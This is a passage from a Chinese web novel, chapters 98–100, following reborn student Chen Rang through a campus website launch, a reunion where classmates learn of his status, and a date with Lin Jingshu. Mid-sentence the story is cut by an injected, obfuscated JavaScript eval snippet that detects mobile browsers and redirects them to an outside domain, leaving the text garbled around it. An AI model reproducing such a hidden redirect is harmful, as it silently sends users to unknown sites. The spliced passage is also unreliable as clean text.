哥仨会集体迟到，陈总觉得这口锅属于王大少。 这货昨晚拉着其他哥俩去网吧玩“dota”，然后哥仨就玩上头了，一直玩到深夜差不多十二点。 “哟呵，哥几个这是梦回高中啊，怎么回事儿？” 陈让满脸揶揄，伴随疑惑。 讲道理，大学又不是高中，迟到而已，是个老师都不会计较。 从后门进、自己后排找位置坐，别影响其他同学就行。 王子聪怨气满满的说：“六子，还不是学生会几个煞笔，拿着鸡毛当令箭，说是正在开展什么学风运动，严抓迟到早退现象，哥几个这是被杀鸡儆猴了……” “这样啊，”陈让冲着哥仨瘪瘪嘴，“那哥几个慢慢站，我去上课了。” 王子聪嚷嚷：“六子，你疯了啊，学生会那几个煞笔还没走呢，你现在进教室，不正撞在窗口上？” 陈让没理他，继续走。 哥仨就那么看着陈让走到教室后门，然后那几个先前铁面无私的学生会干事，见了陈让，居然恭恭敬敬跟他问好。 “陈部长！” 然后目送他进了教室。 广东靓仔第一个反应过来。 “额，怎么忘了，六哥是校文体部副部长！” “……” 王大少心里面的参差感瞬间拉满。 虽然陈让在装逼、立棍、被妞泡这些赛道一骑绝尘，但是人家在学生会也能平步青云。 要不说人比人得死。 那几个学生会干事走了过来。 “喂，你们几个，陈部长交代了，都不用站了，也不写你们名字。” 哥仨大大舒了口气。 傲娇如王大少也承了这份人情。 “算他陈六子还是个人。” 不过王少爷很快就收回了这个评价。 因为一进教室，陈让就居功自傲让他请吃饭。 还威胁他，说要是不请，就让那几个干事再把他名字加上去。 王子聪沉吟，觉得这事儿陈六子指不定还真干得出来，只得咬着牙认了，表示欠某人一顿饭。 很快第一节课的下课铃声就打响了，早坐不住的林静姝，抓起课本跑到后排，坐到了陈让边上。 突然降温的缘故——她今天穿了件黑色高领卫衣，修身版型勾勒出玲珑曲线，配合雪白的肌肤，灵动又清纯。 快三天没见的一对“好朋友”，说了会儿话后，陈让随手拿过林静姝的英语课本看。 林静姝却又一把夺了过去，捂得死死，说什么也不给陈让，脸颊还变得绯红绯红。 陈总好奇心拉满，决定演一波。 突然看向教室后门，面露惊恐：“宋姨，您怎么来了？” 林静姝虽然觉得她妈妈不可能突然来学校的，却还是忍不住跟着看了过去，然后英语课本就被陈让抢走。 “唔……” 林大美人捂住了脸，把脑袋藏进了卫衣领子，扮起了鸵鸟。 陈让翻看之下，才知道她为什么不肯给自己看。 课本空白处，写满了她娟秀的字体，却不是什么课堂笔记，而是他陈某人的名字。 抑制不住内心的酥-麻，陈让捏了捏她明显滚烫的脸颊。 “呦呦同学，虽然我这几天的确很忙，不能带你玩，也没办法陪你踩蚂蚁，但是跟你说说话的时间总还是有的，你为什么不给我发消息？” “怕……怕打扰到你，富贵同学你会有一丢丢的不高兴。” “你吖——”陈让揉了揉她的头发，满眼的宠溺，“我专心做事时，是很讨厌被人打扰，但我可以跟神明起誓，任何时候我都乐意被你打扰，你林呦呦在我这儿，永远是那个例外。” “唔……真的吗？” “保真。” “昂——” 学神少女瞬间就很愉悦了，那一对明粲粲的桃花眼，也不知道结出了多少蜂蜜。 她鼻翼动了动，仿佛在某人身上，闻到了自己余生的味道。 不知不觉，两天过去，时间线来到了零九年十月十号，星期六。 过去这两天，陈让依旧很忙，小半精力放在学业，大半投入事业。 也就十八岁版本的陈总，处在一生中最黄金的年龄段，精力十分充沛，否则早给累垮了。 付出是有成果的。 众众网公测版本上线后，得到了用户们一致好评。 相较各方面都很粗糙的内测版本，公测版本界面更简洁，内容更丰富，用户获取信息也更高效。 公测版本最大更新，是重点强化了论坛属性——陈总基本把后世“知乎”那一套玩法，给薅得差不多了。 除了大家喜闻乐见的校园八卦、求偶相亲、都市情感之类版块，还增添了颇为专业的知识咨询、答疑解惑版块。 这个版块吸引了不少高知人士——譬如蓉城各大高校的老师们。 “人之患在好为人师”，线下给学生们授课是工作，线上给网友们答疑解惑、收获大堆彩虹屁，才是人生！ 最让用户们上头的，还是众众网捣鼓的“校园女神大赛”。 李云飞和他麾下的内容团队，只用两天就把氛围拉了起来。 许多用户都开始讨论，谁才是真正的校园女神。 “文学与新闻学院的刘思然也算校园女神？这不是瞎扯淡么，她也就长得还行，身材绝对负分啊，对A要不起！” “附议，咱们蜀大的校园女神，不说闭月羞花、也得沉鱼落雁，怎么也不该是这种洗衣板。” “文学与新闻学院就算了，妹子虽多，质量却都一般，讲道理，哪有真美女搞文学的啊，我强烈推荐我们法学院的大一学妹赵兰蕤，那颜值，那身材，绝对国际超模水准！” “法学院的兄弟歇歇吧，我们江安校区外语学院也有个大一学妹，名叫夏灵珊，那才是真正的颜值天花板，不服咱们就比比，投票打榜走起！” “我有不同意见，我们土木工程学院的周诗雨学姐，才是真正的蜀大女神！” “噗，土木院的哥们，你是来搞笑的吧，打篮球踢足球你们行，选女神？你们那个和尚院，拢共也没几个女生吧。” “哈哈，老子直接笑死，土木院也敢来竞争，中午几个菜啊，喝成这样！我提议我们机电院的姜晓萌学姐——” “这位机电老哥你也歇歇吧，如果土木院是达摩院，那你们机电院就是罗汉堂，都少林寺的，你们能好到哪儿去？” “……” 在内容部刻意引导下，类似帖子很快在众众网刷屏。 伴随而来的，就是陈总梦寐以求的、节节攀升的日活量和用户黏度。 这个不难理解。 人类最喜欢“比大小”。 如果三国演义没有武将排名，射雕英雄传没有华山论剑，水浒传少了好汉排座次，怕是流传度都会大打折扣。 用户们吵着吵着，还真吵出火气来了。 从单纯的“比大小”，上升到了集体荣誉感。 蜀大女神，凭什么是你们学院，而不是我们学院？ “和尚摸得，我摸不得？” “王侯将相，宁有种乎！” 经过短短两天发酵后，众众网上关于谁才是蜀大女神的讨论，可谓甚嚣尘上，沸沸扬扬。 各大院系都有下场，吵得不可开交。 见达到了预期效果，陈让立马让李云飞发布公告——“蜀州大学第一届校园女神大赛”具体的赛程和赛制。 看完公告，用户们的热情被彻底点燃。 投票还没开始，候选者名单也还没公布，已有不少人开始给心仪女神拉票。 骂是骂不出来什么结果的。 你说你们学院某某沉鱼落雁，我还说我们学院谁谁闭月羞花。 这叫公婆各有道理。 所以还得让数据说话！ 周六上午，陈总起床后第一件事，就是打开电脑查看众众网的后台数据。 何止全线飘红，简直全线飘红！ “道爷我成了啊！” 陈总心里美滋滋的。 “滴滴——” 此时一直挂着的QQ响了，点开一看，肖茜给他发的消息。 第98章 会喘气已经很优秀（1） 第九十八章 会喘气已经很优秀（1） “男神，咱高中班上十来个同学，今天下午要到你们望江校区来，接待不？” “额，你们来干嘛？” “感受西南第一九八五的人文气息！” “茜美女，我没记错的话，大家伙上次不感受过了么？” “上次大家不是被李文韬坑了么，把我们骗到了江安校区，用你的话说，江安校区有个der的人文气息啊，这不趁着周末，大家伙决定到望江校区来重新感受一波……” “你们怕不是来打秋风的，总不能又要我请客吧？” “男神，这个你放心，李文韬早说了，这次他请客……事实上也是他邀请我们过来的。” 陈总也就懂了。 大概率是李大班长最近取得了什么“了不得”的成就，所以迫不及待的、想在高中同学面前装个逼。 为此他甚至下了血本——请十几二十个同学搓一顿，怎么也得花一千多吧。 这是什么样的装逼精神？ 陈总都想介绍李大班长给王子聪认识一波了。 讲道理，这俩货才是“真·卧龙凤雏”。 摇摇头后，陈让跟肖茜说，自己这阵儿挺忙的，下午不确定有时间来找你们，同学们玩高兴，我能来尽量来。 显然陈总在搪塞。 说他冷血也好，薄情也罢。 他并不觉得自己跟这帮高中同学，有什么旧可以叙。 陈总从来的观点——不在无谓社交上面消耗精力。 但是陈让这波“梭边边”却没能“梭脱”。 刚跟肖茜聊完，好大儿黄博文也给他发了信息，说他已经在蜀大了，李文韬这货正带着大家逛学校呢，要他赶紧过去。 别人可以搪塞，好大儿总不能不见吧，洗了个冷水脸后，陈让去跟大部队汇合。 绝大部分人，都做不到陈总这般，到任何一个新地方，都能很快把地皮踩热。 高三六班众同学，大部分都还没完全融入大学生活，更喜欢跟高中同学待在一起。 大家逛了会儿学校后，一起坐在莫愁湖边的草坪上，说着军训的感想，对学业的看法，顺便吐槽一下各自的奇葩室友。 氛围十分融洽。 像是又回到了刚过去不久、那个满是青春荷尔蒙的盛夏。 陈让到场后，摆手跟大家打了个招呼，然后坐到了黄博文边上。 值得一提——夏灵珊也在。 夏同学今天显然精心打扮过，瓜子脸上妆容十分精致，气质比高中时更加矜冷——进入大学后，她也长开了些，少了些少女气，多了点御姐范。 看到陈让，夏灵珊丹凤眸顿时一亮，嘴巴动了动，显然想说点什么，却终究没有开口。 夏同学知道，陈让不会搭理她的，即便搭理了，也只会是敷衍，那还不如不搭理她呢。 大黄哥见到陈让后，立马打开话匣子。 “小陈，还是你们蜀大美女多啊，哪像我们电子科大……知道的，我在上大学，不知道的，还以为我进了和尚庙呢。” “尤其转专业到了软件工程学院后，你知道我们班五十来号人有几个女生么，居然只有五个，比例还不到百分之十……” “早知道就不听你的了，读什么狗几把电子科大啊！” 听了好大儿的吐槽，陈总忍俊不禁。 电子科大确实是出了名的和尚学校。 讲道理，女孩子有其他选择，谁愿意当程序员啊？ 男人秃顶都hold不住，遑论女人。 哥俩正聊着，李文韬这货突然开始找存在感，眼神带着鄙夷，大声批评起了大黄哥。 “黄博文，我们读大学是为了学习知识，努力充实自己，将来建设祖国的，而不是为了泡妹子，你实在是太肤浅了，我羞与你为伍！” “焯” 黄博文向来不惯着这个货，就准备跟他真人PK。 陈让连忙将大黄哥劝住。 接着看向李文韬。 “咳，还是咱们李大班长觉悟高啊，那您说说呗，咱们应该聊什么？” 李文韬居然没听出来陈让在反讽，或者说他假装没听出来。 “当然是聊一聊这段时间大家在大学中的收获啊。譬如有没有拿军训标兵、有没有当班干部，有没有入选校学生会之类的……” 陈让露出一副“果然如此”的表情。 心想自己果然没猜错，这家伙绝对是这段时间混得不错，所以组了个局，来跟大家炫耀的。 刚才大家聊了半天，都没聊到他想聊的，这不就急了，主动把“燕国地图”亮了出来。 吴强开口：“唔……我基本没什么收获，嘿嘿……地下城天空套毕业了算不算？” 牟佳佳：“我当了我们班的文艺委员。” 夏灵珊：“我当了学委。” 大家对这个话题，还是比较有兴趣的。 都想知道高中同学进大学后混得如何。 李文韬果断开装。 “咳，我倒也还行，拿了军训标兵，还成了我们班的团支书，本来呢班长也是我的，不过我让给了班一个女生……除此之外，我还加入了我们校外联部，现在已经是干事了……注意啊，是校外联部，而不是学院的……” 好吧，确实给这家伙小装到了。 军训标兵每个班只选一个，团支书则是班干部中仅次于班长的职位。 大一新生，能加入校学生会，而不是在院系厮混，那也是真有点东西的。 感受到同学们带着仰慕的目光，李文韬果断飘了。 他错估了自己的实力。 看向陈让。 “陈让，说说你呗，你可是咱们班高考成绩最好的，还拿了省三好学生，上了大学，一定也混的风生水起吧？” 心里却在想，就陈让这种鸟货，肯定不招人待见，能当上班干部才有鬼。 学生会那就更混不进去了。 大一新生要混学生会，首先得学会装孙子——这玩意儿陈让真能装明白？ 其他同学也都看向陈让。 高三下学期、以及整个暑假，陈让多闪耀？ 璀璨到让大家都觉得他虚幻。 进了大学，还能维系这样的光环吗？ 大抵是不能的吧。 蜀大好歹也是西南第一九八五，不说藏龙，起码卧虎，陈让想要继续鹤立鸡群、难度比高中时大了无数倍。 “我……” 陈让在想——如果原原本本的都告诉李文韬，这家伙会不会哭鼻子？ 这样的打击，对他是不是太残忍了？ 结果他这一犹豫，李文韬却误解了。 这家伙做作的摆了摆手： “咳，陈让，你不想说就算了，毕竟也不是每个人都能像我一样，那么快就能完成身份的切换，在大学混得如鱼得水。” “你呢，好好学习就行了，无论当班干部、还是混学生会，里面的门道深着呢，家学渊源如我，也还在慢慢摸索，你是整不明白的。” 陈让微微皱眉。 这家伙是不是因为太长时间没被自己打击，飘得有些离谱了啊？ 他还没说什么，就有人帮他怼了李文韬。 肖茜冷着脸：“李文韬，你不就当个团支书，进了个校学生会么，有什么值得炫耀的？我家男神在德州开得那家电玩城，每个月能赚大几十万呢，不比你牛掰？” 李文韬耸了耸肩：“比赚钱我是不如陈让，不过那又怎么样呢，我将来随便当个什么官，那些个商人见到我，都只有点头哈腰的份儿！” “行了，我们聊聊别的吧——” 夏灵珊开口转移话题。 虽然她跟陈让现在、本质上什么关系都没有。 但是看到他被李文韬打压和挖苦，她心里却挺不舒服。 陈让笑了笑，倒也懒得辩解。 说实在的——听这帮“愚蠢的很清澈”的高中同学谈天说地，躺在草坪上，晒着暖烘烘的太阳，陈总还是挺惬意跟放松的。 他最近太忙了，今天算是“偷得浮生半日闲”。 值得一提—— 大家聊着聊着、居然聊到了最近在蓉城高校圈非常火的“众众网”。 都在猜测，这个网站到底是谁办的，也太厉害了吧，居然把大学生的心理，拿捏的如此精准。 可比什么“校内网”之类的、好玩太多太多。 黄博文肯定是知道的，不过他憋着不说——小陈教过的嘛，装逼是种病，得治！ “陈让，我听人说众众网的创始人，也是个在校大学生，人家这才叫大手笔，比你那电玩城，牛逼太多太多了，跟他比，你就是小打小闹！” 李文韬这家伙、甚至借此小小打击了陈让一番。 陈让实在没忍住，噗嗤就笑。 李文韬肯定纳闷陈让这个逼笑什么——难道他说的有错？ 突然听到有人叫“班长”。 抬眼望去，几个打扮青春靓丽的女生缓步走来。 其中有个女生，肤白貌美大长腿，颜值也就比夏灵珊差些，牟佳佳都比不了。 很快李文韬就知道这群女生是在叫谁了——竟是陈让。 米莱、刘雯等金融一班的女生，正在校园闲逛，刚逛到莫愁湖边，就看到陈让跟一群人坐在草坪上谈天说地，也就过来打声招呼。 陈让笑着回：“米莱，是你们啊，这些都我高中同学，人太多，我就不逐一介绍了。” 米莱本来想跟陈让多说说话的。 但她很快注意到了人群中的夏灵珊。 曾经被夏大美人降维打击过的她，顿觉尴尬。 哪里还呆得下去？ 果断跟着众女生离开了。 众同学都傻了眼，尤其李文韬，眼珠子都快蹦出来。 大学班长的含金量可不是高中能比——那可是“常务副辅导员”！ 连“先天公务员圣体”的他，饱读《博弈论》跟《万历十五年》，自诩深谙官场的门门道道，都没能成功当选班长，陈让居然可以？！ 没道理，不科学！ 第99章 会喘气已经很优秀（2） 第九十九章会喘气已经很优秀（2） 虽然李大班长很不愿意相信，但是事实就是事实，不以主观意志转移。 总不能说，刚才那十几个女生，是陈让请来的托儿吧？ “小陈，你当班长了？” 黄博文一惊一乍。 其他同学反应也差不多。 在这帮高中同学的固有认知中、陈让怎么也不像个干部。 陈让摆摆手：“当个班长而已，有什么大惊小怪的？” 某个好大儿，暑假时跟他义父厮混那么久，倒也没白混，多少沾了些逼格。 黄博文嘿嘿发笑：“倒也是——不像某些人，当个团支书尾巴就翘到天上去了，话说他为什么不当班长呢，不会是不想吧？” 听着大黄哥的阴阳怪气，李文韬郁闷得快要吐血。 “还好，还好，老子还是校学生会干事……” 这般自我安慰才没当场破防。 此时也到饭点了，众同学陆续往东大门走。 中午这顿李文韬早说了他请客，地点也是他选的——东大门的“巴蜀人家”火锅店。 显然上次在江安校区吃过后，大家都觉得这家店味道挺好。 陈总就有些der了。 如果算上这顿，他这个月已经在“巴蜀人家”吃了四顿火锅，味道再好也有些吃不下去了。 一行人很快走到综合大楼前，突然有人跟陈让打招呼。 “陈部长，这么巧啊。” 陈让抬眼一看——张恒宇这货。 蜀大文体部有个臭毛病，贼喜欢在周六上午组织大家开会。 今早陈让也收到了通知，不过他给翘了。 反正老校区这边他最大，没人敢说他的高低。 张恒宇显然刚开完会，胸口还挂着胸牌，同行还有十来个其他院支部的干部。 见了陈让，这些干部都颇为恭敬跟他打招呼。 “陈部长好！” 不然呢？ 陈部长上次视察工作，可是着重强调了的。 “工作的时候称职务！” “咳……你们忙。” 陈让胡乱应付了几句。 众同学却都石化。 陈让疑惑：“走啊——都愣着干嘛？” 黄博文继续一惊一乍：“小陈，刚才他们叫你陈部长？我看他们的胸牌，都是你们蜀大学生会的干部啊，不是部长就是副部长……怎么都拿你当领导？” “这个——” 陈让本来不想装的，事已至此只得小装一下。 某人指着自己。 “鄙人现在忝居蜀大文体部常务副部长，分管本校区所有院支部工作。” 黄博文傻了眼。 其他人也都瞠目结舌。 最接受不了的显然是李文韬。 他刚进校就狂舔校学生会，费了九牛二虎之力，才能刚读大一就成了校外联部干事。 这才带着满满优越感，专门把大家伙约到学校，想着好生炫耀一波。 最想的肯定还跟陈让炫耀一下子——毕竟暑假时被打击得太狠。 结果陈让不动声色的、就成了校文体部副部长？ 不应该的！ 没道理的！ 陈让那么傲，装孙子他怎么装得明白？ 还是说，他不需要装孙子就能一步登天、成了校文体部副部长？ 李大班长表示很难受，认知都被颠覆了。 什么《万历十五年》和《厚黑学》，包括《资治通鉴》，假的，都他妈是假的！ 吴强开始咕哝。 “让哥就是让哥，高一高二摆烂逗咱们玩，高三下学期，稍微努力那么一丢丢，咱们就连他尾气都吃不到了。” “暑假时咱们只知道疯玩，让哥却不动声色的、捣鼓了一家那么火爆的电玩城……” “大学随便发发力就当了班长，最可怕的是，他大一就成了校文体部副部长……” “让哥的一生，开挂的一生！” 肖茜跟着开口，眼中都是小星星。 “我男神就是我男神，高中时闪耀，进了大学还能更璀璨！” 黄博文接过话茬儿。 “又是班长，又是校文体部副部长，小陈……你这是要起飞？” 听着这些话，李文韬更是难受憋闷。 他花了血本搭好舞台，大戏开始，主角却不是他，而是陈让…… 宝宝心里苦，宝宝好想哭！ 终究只是个年轻人，内心酸苦都摆脸上。 其他同学幸灾乐祸之余，对这家伙多少也泛起了些同情。 甚至向来跟李文韬不对付的黄博文，都安慰起了他。 大黄哥拍了拍李文韬的肩膀。 “李大班长，你可别真哭出来啊……想开点，比不过小陈又不丢人。” 李文韬错愕之余，倒也有些小感动。 心想黄博文这家伙，其实人还蛮好咧。 不过他并没有感动太久。 因为黄博文后面一句是这样的。 “你只是没出息，又不是没呼吸，会喘气儿就已经很优秀啦！” 好吧，这很大黄哥。 怎能指望他这样的钢铁直男会安慰人？ 其他同学听着，都笑得“库库库”的——包括陈让，甚至他是笑得最开心的。 李文韬：“……” 黄博文同学，咱不会安慰人可以不说话的，没人拿你当哑巴。 又几分钟，众同学到了巴蜀人家。 这家火锅店本来只做下午场，奈何生意太好，前两天改成了全天营业。 很快落座，点菜后开吃，边吃边聊。 内容杂七杂八。 讨论最多的、还是已在蓉城高校圈颇有知名度的“众众网”。 “有一句说一句，这网站是真的好玩……” “是啊，好多帖子都非常有意思，尤其是那本连载小说《重生之我在蜀大当渣男》，写得多好……” “切，这种渣男文有什么好看的，我还是更喜欢王少爷那个系列帖……” “《王少爷的日常》？那个作者明显是在吹逼啊，有太多不切实际的地方了，一点儿都经不起推敲……尤其感情生活方面，他居然说有两大校花级美女为他争风吃醋……” 夏灵珊突然看了陈让一眼。 她也听过“众众网”——望江校区那边，每天都有很多人在校门口发传单。 也想着注册个账号玩玩，但是还没付诸行动。 此刻听同学们描述着两大校花级美女争风吃醋的场面，她越听越有种既视感，好像自己亲身经历。 蓦地想到有次自己来找望江校区陈让，结果碰到了赵兰蕤…… 又细细回味一番，那天发生的事儿，跟帖子中的记载，好多细节竟都对得上！ “小陈，这帖子不会是你写的吧？” 夏灵珊憋不住开了口。 想到陈让极有可能、把她跟赵兰蕤为他争风吃醋的事儿发到网上炫耀，她心里非常不舒服。 陈让翻了个白眼：“我怎么可能会这么无聊。” 夏灵珊皱眉：“那……怎么会好多细节都对得上？” 黄博文接过话茬儿：“是啊，小陈，那篇帖子我也看过，男主角分明就是你嘛，男主角的发小就是我，两大校花，一个是灵珊，一个是赵大美女……” 其他同学听到这里，差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696771|170784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不多明白怎么回事儿了，表情诧异又震惊。 合着这篇帖子是陈让根据自己亲身经历改编的？ 灵珊跟上次江安校区见过的那位赵大美女，居然因为陈让在争风吃醋？ 在他们的固有认知中，高中三年陈让都是灵珊的舔狗，召之即来、挥之即去。 五一长假结束后，虽然陈让突然就不舔了，还开了挂般逐渐变得闪耀，但也不至于说，才小半年过去就倒反天罡了、灵珊反过来舔陈让吧？ 灵珊多骄傲，这根本不是她能做出来的事！ 眼看夏灵珊脸色越来越冷，陈让先在心里狂骂了一番王子聪，然后表情无奈的解释： “好吧，我说实话——这帖子不是我写的，但是作者我也认识，就是我室友，那个叫王子聪的。” 看向夏灵珊跟黄博文。 “你俩应该还记得他吧，那天蜀锦楼咱们吃饭，这货也在……我也没想到，这货会拿我的事迹，套在自己身上装逼炫耀。” 夏灵珊脸色依旧很冷：“陈让，你如何证明？” 她显然还在生气，小陈都不叫了，而是直呼全名。 其他同学又给震惊到了。 灵珊这么反问，岂不是证明，她和赵兰蕤的确在为陈让争风吃醋？ 那可是两大校花级美女啊，众同学分明感觉被某人滋了一脸！ “我给他打电话。” 陈让边说边拨了王子聪的号码。 很快接通。 “六子，找你五哥啥事儿？” “五哥，**在网上吹逼就吹逼吧，干嘛瞎鸡儿乱写……现在夏灵珊就在我边上，她以为你那些个装逼帖是我写的，你先证明我的清白，再跟夏灵珊道个歉，最后再把那篇帖子删掉！” “咳……我给夏大美女道歉，我错了，我悔过，回头我就删帖……不过这事儿也他妈怪你了啊，都怪你搞得众众网太好玩，我陷进去了才编故事装逼的……那不你经常说的么，艺术来源于生活！” “滚滚滚，你装逼可以，反正以后别拿我的事迹往自己身上套，否则别怪老子用管理员权限，把账号给你封了！” “别啊，六哥，六爷……求求了，你要疯了我的账号，毋宁死乎！” 陈让懒得跟这货多扯，直接挂了电话，然后目光落到夏灵珊身上。 “现在你总相信了吧？” 夏灵珊哼了一声，别过去小脑袋。 帖子虽然不是陈让写的。 但是这么多高中同学，却都知道她和赵兰蕤在为陈让争风吃醋了。 她同样觉得没脸。 心里满满都是憋闷。 吴强却捕捉到了一个关键的信息。 他张大嘴巴：“让哥，我刚没幻听吧……众众网是你捣鼓出来的？” 其他同学也都反应过来了，全都倒吸凉气！ 上大学才一个多月，陈让就当了班长，校文体部副部长…… 已经足够闪耀！ 却没想到这些只是开胃菜。 他是众众网创始人——这才是正餐！ 众同学分明感觉到了世界的恶意。 大家都上大学。 他们的大学生活，不说波澜不惊，也是平平无奇。 人家陈让却能跌宕起伏，乃至荡气回肠！ 李文韬完全失去了心气儿。 长长叹了口气后，他拍了拍黄博文的肩膀。 “我突然发现你刚才说的很对，比不过陈让，真不是什么丢人的事。” “我只是没出息，又不是没呼吸，会喘气儿的我已经很优秀了。” 其他同学也都深以为然。 都不能用优秀来形容陈让了，得用陈让来定义优秀！ 第100章 帮你斩了这段孽缘！ 第一百章 帮你斩了这段孽缘！ 吃完火锅，“可怜的韬子”起身去结账。 小二十个人，一顿造下来，这货小两千块没了，肯定肉疼。 不过更郁闷。 虽然自己花了钱，但是也没能装成逼——尼玛都给陈让装完了！ 搞得他想吟几句诗。 “问君能有几多愁？恰似一江春水向东流！” “停杯投箸不能食，拔剑四顾心茫然！” “我的心是一座小小的孤岛，四面环水，没有船来！” 要不说这货有文化！ 高中次次考试，语文都班上第一。 无论古典还是现代，人家都信手拈来。 吃了午饭，众同学还不打算撤，要继续逛学校。 陈总懒得奉陪，说自己有事情忙后，跟众同学摆摆手，扭头就走。 边走便给林静姝发消息。 “呦呦同学，宿舍楼下等我，给你个机会，下午陪你最好的朋友去逛街。” “昂——好的！” 十来分钟后，陈让在经济学院女生宿舍楼下等到了林静姝。 今天的林大美人，穿着一件水洗色牛仔裤，上身则是白色连帽卫衣，长发扎成了马尾，因为发量优秀的缘故，走起路来，一晃一晃的，就让人有想抓着玩的冲动。 “陈让，我们去哪儿玩？” 林静姝脚步轻快走到某人面前，精致鹅蛋脸上写满愉悦。 桃花眼亮晶晶的，好像藏着两朵月牙。 “瞎逛呗，锦里，宽窄巷子，二仙桥什么的……对了，你知道二仙桥怎么去么？” 林静姝摇摇头，表示不知道。 “那你记住了，去二仙桥要走成华大道。” “好的。” 陈让不由叹了口气。 重生者果然是孤独的。 很快两人坐上了去市中心的公交车。 林大美人早就想跟某人一起坐公交了，一路上都非常开心。 她坐在靠窗位置，细长睫毛柔顺搭在眼帘，明丽眼瞳中，倒映着车窗外一掠而过的风景。 整个下午，这一对好朋友，大手牵小手，把蓉城知名景点差不多都逛了一遍。 锦里、宽窄巷子、武侯祠、杜甫草堂…… 走马观花，却也惬意。 毕竟重要的从来不是风景，而是陪你看风景的人。 最后陈让以朝圣者般的心态，坐着666路公交车，经过成华大道，到了传说中的二仙桥。 好吧，二仙桥虽说有些历史底蕴——相传吕洞宾跟韩湘子曾在此地游览——但它本质就是一座非常普通的桥。 也就边上公园还有些逛头，其他地方都乏善可陈。 值得一提——逛这些景点时，陈总抽空办了件正事儿。 路过一家4S店，他带着林静姝进去，选了辆奥迪A6。 很遗憾没有触发被导购员看不起、然后装逼打脸亮银行卡余额的支线剧情。 好吧，这种狗卵子剧情，在现实生活中确实不大可能发生。 陈总是个效率至上的人，买车非常干脆利落，选定款型和颜色后直接就买，过两天就可以提车。 虽说大一新生买车有点浮夸，但是众众网的业务，不可能只局限于蜀大，所以买车对网站发展来说已是刚需。 奥迪A6虽然豪的不明显，给林静姝家的劳斯劳斯提鞋都不配，但是大小也算豪车，开出去跑跑业务是足够了的。 买了车，听了导购员一大通诸如“先生真帅”、“女朋友真漂亮”、“你俩真般配”之类的彩虹屁后，陈让带着林静姝出了4S店。 此时暮色已经开始侵染这座古老又现代的城市，夕阳余晖给行人建筑车辆都染上了朦胧滤镜。 滤镜之下的林大美人，美得不可方物，收到了不知道多少注目礼。 她显然还沉浸在导购员的彩虹屁中无法自拔。 桃花眼中水色荡漾，侧着小脑袋跟陈让说：“富贵同学，买车好好玩，我们明天再来买好不好吖？” “……” 陈总就很der。 买这辆奥迪A6，已经严重挤压他的现金流。 不说砸锅卖铁，那也满脸肉疼。 明天还来买——大小姐您对金钱真的毫无概念啊。 好吧，这话从林大富婆口中说出来，倒也一点儿不违和。 带着林静姝，找了家中餐馆，吃了晚饭后，陈让提议回学校。 林静姝却还意犹未尽，让陈让带她去电玩城玩一玩。 陈让看了看时间，晚上七点不到，也就点头同意。 找了家电玩城，陈让前台买了筐币子后，让林静姝自己玩。 他反正不会再陪她玩拳皇97了。 现在的林静姝，已经比他厉害太多，不让他就是完虐。 林大美人让他吧、某个未来大帝的自尊心却又受不了。 时间的缘故，两人没在电玩城玩太久，出来时也才八点，挤上了回校的最后一班公交车。 出来时人少，有地方坐，回去就只能站。 陈让左手抓把手，右手捏栏杆，在摇晃的车厢中努力维系平衡。 林静姝就挺舒服，什么都不用抓，整个人都依偎在某人怀中，像一只缩在主人怀中打盹儿的猫。 某人前世今生加起来活了小四十年，此时此刻，方才知道古人说的“软玉温香”、到底他娘是个什么滋味。 别说他不是干部。 哪怕是——也禁不住这样的考验。 身体开始燥热后，陈让警告林静姝，让她老实些，别在他身上乱蹭。 林大美人丝毫没有自己在奖励某人的觉悟，在这个过程中，桃花眼不停结着蜂蜜。 “陈让，原来公交车是可以不坐的吖，下次我们就只坐这种站着的！” 说完又因为车厢的摇晃，用自己恐怖如斯的D级能力果实，狠狠蹭了某人一下。 “嘶……” 某人倒吸一口凉气。 此间滋味，不必多言。 回到学校，陈让先把林静姝送回宿舍，然后自己哼着小曲儿，身心愉悦回了宿舍。 其他哥仨都在。 王老五一如往常，趴电脑前捣鼓他的装逼系列帖。 杨少杰半躺着在发短信——用膝盖想都知道，肯定又在舔他的雯雯同学。 倒是薛文彬有些不同往常——堂堂卷王居然没有挑灯夜战，而是蒙着被子在睡觉。 陈让先蛐蛐了王子聪一顿，然后监督着他，把已经删改一遍的帖子又过了一遍，将所有跟他有关的内容都给删掉。 此时薛文彬突然掀开被子，从床上坐了起来。 陈让瞥他一眼，给吓了一跳。 “老四，你害瘟了啊，眼睛好红……” 薛文彬叹了口气，并不搭腔。 杨少杰插了句嘴儿：“六哥，不是害瘟，老四从下午开始就不对劲，一直蒙着被子掉小珍珠呢，问他什么原因又不说。” 陈总还是挺喜欢薛老四这个老实孩子的。 拍着他肩膀，问他到底怎么了，说出来你六哥给你出出主意。 薛文彬又沉默几秒后，选择了吐露心声。 “六哥，有件事我一直瞒着哥几个，其实……刚进校没几天，我就谈了个女朋友。” 杨少杰第一个咋呼：“我去，老四，你他妈没吹吧，真的假的？” 王子聪紧随其后：“老四，你个扑街仔可以的，不声不响居然跑到了哥几个最前头？那你先前为啥不说，怕哥几个要你请客？” 陈让也瘪瘪嘴，说老四这事儿你干的可不地道，哪有脱单不请客的？ 薛文彬苦笑，说真不是我抠门，而是我都不知道，我这到底算不算谈恋爱。 便把剧情梗概、大概跟哥几个讲了一遍。 是个大三学姐，报名时认识的，当时就加了QQ，后面从聊天发展到一起吃饭，再到他壮着胆子表白，学姐半推半就答应…… 没什么跌宕起伏的剧情。 问题出在学姐答应做他女朋友之后。 确认了关系，学姐开始找他要钱买这个买那个了，理由不外如下—— “你是我男朋友，就该给我买！” “我们寝室那谁谁谁的男朋友，也给她买了的！” “我喜欢你才问你要礼物，不然我为什么不找别人要呢？” 薛文彬是那种典型中产阶级养出来的乖孩子，哪儿见过这种套路？ 他家里面一个月给他足足两千块生活费——这在09年已经是上等标准了——却又怎么满足得了那位贪得无厌的学姐？ 这不学姐最近两次提的要求，薛文彬没能满足后，她就开始玩冷暴力了，对薛文彬爱答不理的。 王子聪和杨少杰听完，浑身汗毛都立了起来。 